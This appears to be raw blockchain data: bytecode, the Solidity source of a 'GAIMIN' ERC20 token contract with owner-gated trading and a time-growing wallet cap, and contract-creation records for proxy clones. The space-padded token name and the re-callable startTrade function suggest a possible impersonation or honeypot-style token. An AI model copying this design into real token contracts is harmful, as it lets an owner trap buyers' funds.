600191505092915050565b5f61096561095e610b68565b8484610d32565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6109f9610b68565b73ffffffffffffffffffffffffffffffffffffffff16610a176107b4565b73ffffffffffffffffffffffffffffffffffffffff1614610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a64906116b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad2906117cc565b60405180910390fd5b610ae481610fa7565b50565b5f8060065403610b0057610af961046c565b9050610b65565b5f603c662386f26fc1000060065442610b1991906117ea565b610b23919061181d565b610b2d919061188b565b66470de4df820000610b3f9190611633565b9050610b4961046c565b811115610b6057610b5861046c565b915050610b65565b809150505b90565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd49061192b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c42906119b9565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d259190611415565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611a47565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0590611ad5565b60405180910390fd5b610e1983838361106a565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390611b63565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f2a9190611633565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f8e9190611415565b60405180910390a3610fa184848461122d565b50505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611175576110c66107b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061113157506111026107b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790611bcb565b60405180910390fd5b611228565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611227576111d1610ae7565b816111db846106dc565b6111e59190611633565b1115611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90611c33565b60405180910390fd5b5b5b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561126957808201518184015260208101905061124e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61128e82611232565b611298818561123c565b93506112a881856020860161124c565b6112b181611274565b840191505092915050565b5f6020820190508181035f8301526112d48184611284565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611309826112e0565b9050919050565b611319816112ff565b8114611323575f80fd5b50565b5f8135905061133481611310565b92915050565b5f819050919050565b61134c8161133a565b8114611356575f80fd5b50565b5f8135905061136781611343565b92915050565b5f8060408385031215611383576113826112dc565b5b5f61139085828601611326565b92505060206113a185828601611359565b9150509250929050565b5f8115159050919050565b6113bf816113ab565b82525050565b5f6020820190506113d85f8301846113b6565b92915050565b6113e7816112ff565b82525050565b5f6020820190506114005f8301846113de565b92915050565b61140f8161133a565b82525050565b5f6020820190506114285f830184611406565b92915050565b5f805f60608486031215611445576114446112dc565b5b5f61145286828701611326565b935050602061146386828701611326565b925050604061147486828701611359565b9150509250925092565b5f60ff82169050919050565b6114938161147e565b82525050565b5f6020820190506114ac5f83018461148a565b92915050565b5f602082840312156114c7576114c66112dc565b5b5f6114d484828501611326565b91505092915050565b5f80604083850312156114f3576114f26112dc565b5b5f61150085828601611326565b925050602061151185828601611326565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061155f57607f821691505b6020821081036115725761157161151b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6115d260288361123c565b91506115dd82611578565b604082019050919050565b5f6020820190508181035f8301526115ff816115c6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61163d8261133a565b91506116488361133a565b92508282019050808211156116605761165f611606565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61169a60208361123c565b91506116a582611666565b602082019050919050565b5f6020820190508181035f8301526116c78161168e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61172860258361123c565b9150611733826116ce565b604082019050919050565b5f6020820190508181035f8301526117558161171c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6117b660268361123c565b91506117c18261175c565b604082019050919050565b5f6020820190508181035f8301526117e3816117aa565b9050919050565b5f6117f48261133a565b91506117ff8361133a565b925082820390508181111561181757611816611606565b5b92915050565b5f6118278261133a565b91506118328361133a565b92508282026118408161133a565b9150828204841483151761185757611856611606565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6118958261133a565b91506118a08361133a565b9250826118b0576118af61185e565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61191560248361123c565b9150611920826118bb565b604082019050919050565b5f6020820190508181035f83015261194281611909565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6119a360228361123c565b91506119ae82611949565b604082019050919050565b5f6020820190508181035f8301526119d081611997565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a3160258361123c565b9150611a3c826119d7565b604082019050919050565b5f6020820190508181035f830152611a5e81611a25565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611abf60238361123c565b9150611aca82611a65565b604082019050919050565b5f6020820190508181035f830152611aec81611ab3565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611b4d60268361123c565b9150611b5882611af3565b604082019050919050565b5f6020820190508181035f830152611b7a81611b41565b9050919050565b7f74726164696e67206973206e6f742073746172746564000000000000000000005f82015250565b5f611bb560168361123c565b9150611bc082611b81565b602082019050919050565b5f6020820190508181035f830152611be281611ba9565b9050919050565b7f77616c6c6574206d6178696d756d0000000000000000000000000000000000005f82015250565b5f611c1d600e8361123c565b9150611c2882611be9565b602082019050919050565b5f6020820190508181035f830152611c4a81611c11565b905091905056fea264697066735822122036a1ecb4599ef88f32ee0e6b6e7a753c6004f9c4bb976b08aa9a2f29d3086a7764736f6c63430008160033
|
/**
// https://www.gaimin.io/
*/
pragma solidity ^0.8.0;
/*
**/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract GAIMINL2 is ERC20, Ownable {
uint256 constant maxWalletStart = 2e16;
uint256 constant addMaxWalletPerMinute = 1e16;
uint256 public constant totalSupplyOnStart = 1e18;
uint256 tradingStartTime;
address public pool;
constructor() ERC20(" GAIMIN ", " GMRX ") {
_mint(msg.sender, totalSupplyOnStart);
}
function decimals() public pure override returns (uint8) {
return 9;
}
function maxWallet() public view returns (uint256) {
if (tradingStartTime == 0) return totalSupply();
uint256 res = maxWalletStart +
((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
(1 minutes);
if (res > totalSupply()) return totalSupply();
return res;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
// before start trading only owner can manipulate the token
if (pool == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
// check max wallet
if (to != pool)
require(balanceOf(to) + amount <= maxWallet(), "wallet maximum");
}
function startTrade(address poolAddress) public onlyOwner {
tradingStartTime = block.timestamp;
pool = poolAddress;
}
}
|
1 | 19,502,295 |
f3ec6a5113b4671d3712955e8af3256ccca6321983a8e0c7d12f1d66185b1793
|
65239ebc39b522792ff543fc96c9f89b3f22b47e91d9872787f09fec1d156171
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
d0cb46c367cc8637948fa165ef74cc18b01bd4d7
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
7cdcceeea0211efac9334ffa31c26efce750de1ef6fa1926ebe2bf5f13844e10
|
5809a5fd15a1e48a1d6ebeca2349b77b0f580e3b
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
2eb0e68897b820d3fccd43e1975cd8c17b2b85db
|
3d602d80600a3d3981f3363d3d373d3d3d363d73b10937499721a59020d2b6439ab775734222efb25af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73b10937499721a59020d2b6439ab775734222efb25af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
508d2d805c2a49340db65fa832d79600327bb7426e1f1165cc71637581940281
|
f62f39ee9a2ba310da58f57f5c76ad1881e029e9
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
042283b843ca9806c2a68b9e22cbf2b74ca4dd64
|
3d602d80600a3d3981f3363d3d373d3d3d363d731098ce6c449205dbdbeef7bdfa9c5d468e3b78fe5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d731098ce6c449205dbdbeef7bdfa9c5d468e3b78fe5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
db91155161373a531c962b0873d246c14ce0359fa23b4dd1c29d4237bd8c3cc3
|
236381bf3a7287e3b30e419a646cd0949af1fa1a
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
ed57ac41133b2933e9f299d7e31ad7e9b39864e3
|
3d602d80600a3d3981f3363d3d373d3d3d363d73316bdf1b47bef7dc70f4d66bfe230b32001c87495af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73316bdf1b47bef7dc70f4d66bfe230b32001c87495af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
7356a1caaac52f4b342c76c62df5561cc6642eb0241122ed25666e243544645b
|
933f62cea014ea44a8967d7851fb99d4f37382aa
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
e23ec1851f7f5a9ea90c48462bf8f362c9d0e065
|
3d602d80600a3d3981f3363d3d373d3d3d363d73ee0c811af9a9e8878b4c94aa07cba634c2d56eb95af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73ee0c811af9a9e8878b4c94aa07cba634c2d56eb95af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
a00a8e7fd782da54971d470721e127943274b7148ec3b886f8ebc96b75d3375f
|
0834a0a98e088d2701c7da30e7d1cdaceb7df7df
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
7d28e35e86866ba8ce85d44ae7cf497a7d0a50ca
|
3d602d80600a3d3981f3363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
7c0a3b6e04890ce23cb9d6f5969c6864cf092b14b4f499d7a00dfc901cbc51ae
|
a24b720296ca63d8eefa03467e13d29e77f27f76
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
d87ddc724f085c2fdb244063184573afe1ed6ede
|
3d602d80600a3d3981f3363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
78d2554d4c5a695a1b45a9518713f7a29e5917b0b3cc71a1a0833b073144358a
|
21c0575236d064dde268ffb1704d8e7436bd6ed0
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
9be67971bc7b4d4890263d421fa9f1f2588a4080
|
3d602d80600a3d3981f3363d3d373d3d3d363d7345a95032413bbd6892ccc292520f9755b3d291605af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7345a95032413bbd6892ccc292520f9755b3d291605af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
9319419fb74e0feab2f4eb70c84271c9ecb13810e28fcc7cdae3c61dc16700f4
|
5bfd7014e1e8f95b984aef52458473d0ce3ea00e
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
a4b9ebe54b30d0fc69bb8f313282c0d2b71912e8
|
3d602d80600a3d3981f3363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
1362a586538b5e39b7bb693825fdfe1673572066964ab39271c955efde2e53be
|
156c479a5f1c977e1fdcbff97a9877316671ed5e
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
36f464d7dfd0773d00901afc626a4ace9e64d736
|
3d602d80600a3d3981f3363d3d373d3d3d363d73b2b8be53f8740c368e2354c99fe967d0435e01e15af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73b2b8be53f8740c368e2354c99fe967d0435e01e15af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
cdd3ef7eab91e2179ddd0d52b450e0fc024a2808341bd0deb11a1a95f320e38e
|
374c3aabedb72f5ec386f402626238617cdeeeb3
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
dfd36447df60179ee39fa62e3e22ca36bbfe00d3
|
3d602d80600a3d3981f3363d3d373d3d3d363d732b8e45520c7771ef254290477ef2ae48ef72f0555af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d732b8e45520c7771ef254290477ef2ae48ef72f0555af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
98a627cd0994688010222914d39e7fd22e02fc9cb0e7b2907112ab1f7a3f7db4
|
0e8c3dc76dba46c74aa55dd58ee1c5666770b4ef
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
98d6fab69cc1694ef2fbf7a4f4df3b6e4267fd53
|
3d602d80600a3d3981f3363d3d373d3d3d363d73ced858f937ace0689bbaf18a14dc6650b5d005ba5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73ced858f937ace0689bbaf18a14dc6650b5d005ba5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
9a8966211e19182d34c92c675e3479f169843784a6c17e394f0914bfacc84c0c
|
